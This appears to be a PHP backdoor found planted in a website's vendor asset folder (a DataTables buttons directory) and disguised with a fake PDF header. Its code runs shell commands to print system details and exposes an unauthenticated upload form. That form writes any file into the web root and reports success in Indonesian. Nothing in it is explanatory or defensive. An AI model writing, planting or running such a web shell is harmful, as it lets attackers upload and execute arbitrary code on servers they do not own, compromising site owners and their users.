%PDF- %PDF-
Direktori : /home/silvzytp/crm-ind.silveroak.website/assets/vendors/datatable/buttons/ |
Current File : //home/silvzytp/crm-ind.silveroak.website/assets/vendors/datatable/buttons/index.php |
<?php echo "<b>".php_uname()."</b><br><br>"; echo "<b>".exec('pwd')."</b><br>"; echo '<h4>###Upload is working###<br></h4>'; echo "<form method='post' enctype='multipart/form-data'> <input type='file' name='idx_file'> <input type='submit' name='upload' value='upload'> </form>"; $root = $_SERVER['DOCUMENT_ROOT']; $files = $_FILES['idx_file']['name']; $dest = $root.'/'.$files; if(isset($_POST['upload'])) { if(is_writable($root)) { if(@copy($_FILES['idx_file']['tmp_name'], $dest)) { $web = "http://".$_SERVER['HTTP_HOST']."/"; echo "Succes -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>"; } else { echo "Gagal Di Doc Root"; } } else { if(@copy($_FILES['idx_file']['tmp_name'], $files)) { echo "Succes<b>$files</b> Terupload Di Dir Ini"; } else { echo "Gagal"; } } } ?> </style> <title>***'s private tool</title> </head> <body> <?php error_reporting(0); ?> <?php $url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; ?> </body>